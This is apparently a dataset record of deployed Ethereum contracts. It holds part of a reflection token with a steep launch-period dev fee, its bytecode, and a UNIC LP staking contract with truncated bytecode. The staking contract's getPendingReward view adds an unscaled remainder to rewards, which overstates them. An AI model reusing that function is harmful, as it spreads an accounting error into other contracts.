return _amount.mul(_burnFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
uint256 _fee;
if(block.timestamp < deployment + 600) _fee = 50;
else if(block.timestamp < deployment + 1200) _fee = 40;
else if(block.timestamp < deployment + 1800) _fee = 30;
else if(block.timestamp < deployment + 2400) _fee = 20;
else if(block.timestamp < deployment + 3000) _fee = 10;
else _fee = _devFee;
return _amount.mul(_fee).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_transferStandard(from, to, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, , uint256 tDev) = _getValues(tAmount);
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
rTransferAmount = rTransferAmount.sub(rDev);
_rOwned[_devAccount] = _rOwned[_devAccount].add(rDev);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, _devAccount, tDev);
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806345e0b9d4116100b8578063a9059cbb1161007c578063a9059cbb14610364578063aecb9ca714610394578063af465a27146103b0578063cea26958146103ce578063d49d5181146103ea578063dd62ed3e1461040857610137565b806345e0b9d4146102be5780634fb2e45d146102dc57806370a08231146102f85780638da5cb5b1461032857806395d89b411461034657610137565b806323b872dd116100ff57806323b872dd146101f45780632d83811914610224578063313ce56714610254578063379e2919146102725780633b7e6d4a1461028e57610137565b8063061c82d01461013c57806306fdde0314610158578063095ea7b3146101765780630cfc15f9146101a657806318160ddd146101d6575b600080fd5b610156600480360381019061015191906119da565b610438565b005b6101606104d7565b60405161016d9190611c10565b60405180910390f35b610190600480360381019061018b919061199a565b610569565b60405161019d9190611bf5565b60405180910390f35b6101c060048036038101906101bb91906118da565b610587565b6040516101cd9190611d72565b60405180910390f35b6101de61059f565b6040516101eb9190611d72565b60405180910390f35b61020e60048036038101906102099190611947565b6105a9565b60405161021b9190611bf5565b60405180910390f35b61023e600480360381019061023991906119da565b610682565b60405161024b9190611d72565b60405180910390f35b61025c6106f0565b6040516102699190611d8d565b60405180910390f35b61028c600480360381019061028791906119da565b610707565b005b6102a860048036038101906102a391906118da565b6107a6565b6040516102b59190611d72565b60405180910390f35b6102c66107be565b6040516102d39190611d72565b60405180910390f35b6102f660048036038101906102f191906118da565b6107c4565b005b610312600480360381019061030d91906118da565b610986565b60405161031f9190611d72565b60405180910390f35b6103306109d7565b60405161033d9190611bda565b60405180910390f35b61034e610a00565b60405161035b9190611c10565b60405180910390f35b61037e6004803603810190610379919061199a565b610a92565b60405161038b9190611bf5565b60405180910390f35b6103ae60048036038101906103a991906118da565b610ab0565b005b6103b8610b89565b6040516103c59190611d72565b60405180910390f35b6103e860048036038101906103e391906119da565b610b8f565b005b6103f2610c2e565b6040516103ff9190611d72565b60405180910390f35b610422600480360381019061041d9190611907565b610c34565b60405161042f9190611d72565b60405180910390f35b610440610cbb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490611cf2565b60405180910390fd5b80600a8190555050565b6060600780546104e690611f61565b80601f016020809104026020016040519081016040528092919081815260200182805461051290611f61565b801561055f5780601f106105345761010080835404028352916020019161055f565b820191906000526020600020905b81548152906001019060200180831161054257829003601f168201915b5050505050905090565b600061057d610576610cbb565b8484610cc3565b6001905092915050565b60016020528060005260406000206000915090505481565b6000600454905090565b60006105b6848484610e8e565b610677846105c2610cbb565b6106728560405180606001604052806028815260200161232f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610628610cbb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc19092919063ffffffff16565b610cc3565b600190509392505050565b60006005548211156106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c090611c52565b60405180910390fd5b60006106d3611025565b90506106e8818461105090919063ffffffff16565b915050919050565b6000600960009054906101000a900460ff16905090565b61070f610cbb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390611cf2565b60405180910390fd5b80600c8190555050565b60026020528060005260406000206000915090505481565b60055481565b6107cc610cbb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085090611cf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c090611c72565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006109d0600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610682565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610a0f90611f61565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3b90611f61565b8015610a885780601f10610a5d57610100808354040283529160200191610a88565b820191906000526020600020905b815481529060010190602001808311610a6b57829003601f168201915b5050505050905090565b6000610aa6610a9f610cbb565b8484610e8e565b6001905092915050565b610ab8610cbb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90611cf2565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b610b97610cbb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90611cf2565b60405180910390fd5b80600b8190555050565b60001981565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a90611d52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a90611c92565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e819190611d72565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef590611d32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6590611c32565b60405180910390fd5b60008111610fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa890611d12565b60405180910390fd5b610fbc83838361109a565b505050565b6000838311158290611009576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110009190611c10565b60405180910390fd5b50600083856110189190611ea5565b9050809150509392505050565b60008060006110326113f7565b91509150611049818361105090919063ffffffff16565b9250505090565b600061109283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611444565b905092915050565b6000806000806000806110ac876114a7565b9650509550955095509550955060006110c3611025565b905060006110da828461150e90919063ffffffff16565b90506110ef818861158990919063ffffffff16565b96506111658160016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d390919063ffffffff16565b60016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121c88600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158990919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b187600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fe8685611631565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161135b9190611d72565b60405180910390a3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113e29190611d72565b60405180910390a35050505050505050505050565b600080600060055490506000600454905061141f60045460055461105090919063ffffffff16565b82101561143757600554600454935093505050611440565b81819350935050505b9091565b6000808311829061148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829190611c10565b60405180910390fd5b506000838561149a9190611e1a565b9050809150509392505050565b60008060008060008060008060008060006114c18c61166b565b935093509350935060008060006114e18f87876114dc611025565b6116ea565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b6000808314156115215760009050611583565b6000828461152f9190611e4b565b905082848261153e9190611e1a565b1461157e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157590611cd2565b60405180910390fd5b809150505b92915050565b60006115cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc1565b905092915050565b60008082846115e29190611dc4565b905083811015611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e90611cb2565b60405180910390fd5b8091505092915050565b6116468260055461158990919063ffffffff16565b600581905550611661816006546115d390919063ffffffff16565b6006819055505050565b600080600080600061167c86611773565b90506000611689876117a4565b90506000611696886117d5565b905060006116d1826116c3856116b5888e61158990919063ffffffff16565b61158990919063ffffffff16565b61158990919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080611703858961150e90919063ffffffff16565b9050600061171a868961150e90919063ffffffff16565b90506000611731878961150e90919063ffffffff16565b9050600061175a8261174c858761158990919063ffffffff16565b61158990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061179d606461178f600a548561150e90919063ffffffff16565b61105090919063ffffffff16565b9050919050565b60006117ce60646117c0600b548561150e90919063ffffffff16565b61105090919063ffffffff16565b9050919050565b600080610258600e546117e89190611dc4565b4210156117f85760329050611882565b6104b0600e546118089190611dc4565b4210156118185760289050611881565b610708600e546118289190611dc4565b42101561183857601e9050611880565b610960600e546118489190611dc4565b421015611858576014905061187f565b610bb8600e546118689190611dc4565b42101561187857600a905061187e565b600c5490505b5b5b5b5b6118a8606461189a838661150e90919063ffffffff16565b61105090919063ffffffff16565b915050919050565b6000813590506118bf81612300565b92915050565b6000813590506118d481612317565b92915050565b6000602082840312156118f0576118ef612020565b5b60006118fe848285016118b0565b91505092915050565b6000806040838503121561191e5761191d612020565b5b600061192c858286016118b0565b925050602061193d858286016118b0565b9150509250929050565b6000806000606084860312156119605761195f612020565b5b600061196e868287016118b0565b935050602061197f868287016118b0565b9250506040611990868287016118c5565b9150509250925092565b600080604083850312156119b1576119b0612020565b5b60006119bf858286016118b0565b92505060206119d0858286016118c5565b9150509250929050565b6000602082840312156119f0576119ef612020565b5b60006119fe848285016118c5565b91505092915050565b611a1081611ed9565b82525050565b611a1f81611eeb565b82525050565b6000611a3082611da8565b611a3a8185611db3565b9350611a4a818560208601611f2e565b611a5381612025565b840191505092915050565b6000611a6b602383611db3565b9150611a7682612036565b604082019050919050565b6000611a8e602a83611db3565b9150611a9982612085565b604082019050919050565b6000611ab1602683611db3565b9150611abc826120d4565b604082019050919050565b6000611ad4602283611db3565b9150611adf82612123565b604082019050919050565b6000611af7601b83611db3565b9150611b0282612172565b602082019050919050565b6000611b1a602183611db3565b9150611b258261219b565b604082019050919050565b6000611b3d602083611db3565b9150611b48826121ea565b602082019050919050565b6000611b60602983611db3565b9150611b6b82612213565b604082019050919050565b6000611b83602583611db3565b9150611b8e82612262565b604082019050919050565b6000611ba6602483611db3565b9150611bb1826122b1565b604082019050919050565b611bc581611f17565b82525050565b611bd481611f21565b82525050565b6000602082019050611bef6000830184611a07565b92915050565b6000602082019050611c0a6000830184611a16565b92915050565b60006020820190508181036000830152611c2a8184611a25565b905092915050565b60006020820190508181036000830152611c4b81611a5e565b9050919050565b60006020820190508181036000830152611c6b81611a81565b9050919050565b60006020820190508181036000830152611c8b81611aa4565b9050919050565b60006020820190508181036000830152611cab81611ac7565b9050919050565b60006020820190508181036000830152611ccb81611aea565b9050919050565b60006020820190508181036000830152611ceb81611b0d565b9050919050565b60006020820190508181036000830152611d0b81611b30565b9050919050565b60006020820190508181036000830152611d2b81611b53565b9050919050565b60006020820190508181036000830152611d4b81611b76565b9050919050565b60006020820190508181036000830152611d6b81611b99565b9050919050565b6000602082019050611d876000830184611bbc565b92915050565b6000602082019050611da26000830184611bcb565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611dcf82611f17565b9150611dda83611f17565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e0f57611e0e611f93565b5b828201905092915050565b6000611e2582611f17565b9150611e3083611f17565b925082611e4057611e3f611fc2565b5b828204905092915050565b6000611e5682611f17565b9150611e6183611f17565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e9a57611e99611f93565b5b828202905092915050565b6000611eb082611f17565b9150611ebb83611f17565b925082821015611ece57611ecd611f93565b5b828203905092915050565b6000611ee482611ef7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611f4c578082015181840152602081019050611f31565b83811115611f5b576000848401525b50505050565b60006002820490506001821680611f7957607f821691505b60208210811415611f8d57611f8c611ff1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61230981611ed9565b811461231457600080fd5b50565b61232081611f17565b811461232b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122097c46dd25912374df8cb9cd7ae364d2d23cab3d77ae1f035537a0fe5510819a964736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 6,352 |
0x75dd1fd671dd730f61996f8ac22bd6d17bb93a98
|
/**
*Submitted for verification at Etherscan.io on 2020-12-27
*/
// UNICV2/RFI PAIR STAKING
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract UNICLPStake is Owned {
using SafeMath for uint256;
address public UNICLP = 0x6EFD8628aFaAC5799a04308817f787B17359b56D;
address public UNIC = 0x8d587a2386b9Ea792a4C6e1744199349dB3BC269;
uint256 public totalStakes = 0;
uint256 stakingFee = 0; // 0%
uint256 unstakingFee = 0; // 0%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(tokens > 0, "ERC20: Asking for 0 STAKE");
require(IERC20(UNICLP).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0){
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
_addPayout(_stakingFee);
}
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(UNIC).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(UNIC).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(tokens > 0, "ERC20: Asking for 0 WITHDRAW");
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
require(IERC20(UNICLP).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens, _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedUNICLP(address staker) external view returns(uint256 stakedUNICLP){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the UNICLP balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourUNICLPBalance(address user) external view returns(uint256 UNICLPBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(UNICLP).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806393b8904611610097578063ca84d59111610066578063ca84d591146101df578063d5f95c9b146101fc578063d614aeee14610222578063f2fde38b14610248576100f5565b806393b89046146101aa578063997664d7146101b2578063b53d6c24146101ba578063bf9befb1146101d7576100f5565b80634baf782e116100d35780634baf782e146101505780634df9d6ba146101585780635e4abebf1461017e5780638da5cb5b146101a2576100f5565b8063146ca531146100fa57806329652e86146101145780632c75bcda14610131575b600080fd5b61010261026e565b60408051918252519081900360200190f35b6101026004803603602081101561012a57600080fd5b5035610274565b61014e6004803603602081101561014757600080fd5b5035610286565b005b61014e61050e565b6101026004803603602081101561016e57600080fd5b50356001600160a01b031661068e565b61018661079e565b604080516001600160a01b039092168252519081900360200190f35b6101866107ad565b6101866107bc565b6101026107cb565b61014e600480360360208110156101d057600080fd5b50356107d1565b61010261089e565b61014e600480360360208110156101f557600080fd5b50356108a4565b6101026004803603602081101561021257600080fd5b50356001600160a01b0316610abd565b6101026004803603602081101561023857600080fd5b50356001600160a01b0316610b83565b61014e6004803603602081101561025e57600080fd5b50356001600160a01b0316610be6565b60095481565b600b6020526000908152604090205481565b600081116102db576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a2041736b696e6720666f72203020574954484452415700000000604482015290519081900360640190fd5b336000908152600a602052604090205481118015906102fa5750600081115b61034b576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b600061036d600a61036760055461036186610c48565b90610c73565b90610cd5565b9050600061037a33610d17565b336000908152600a60205260409020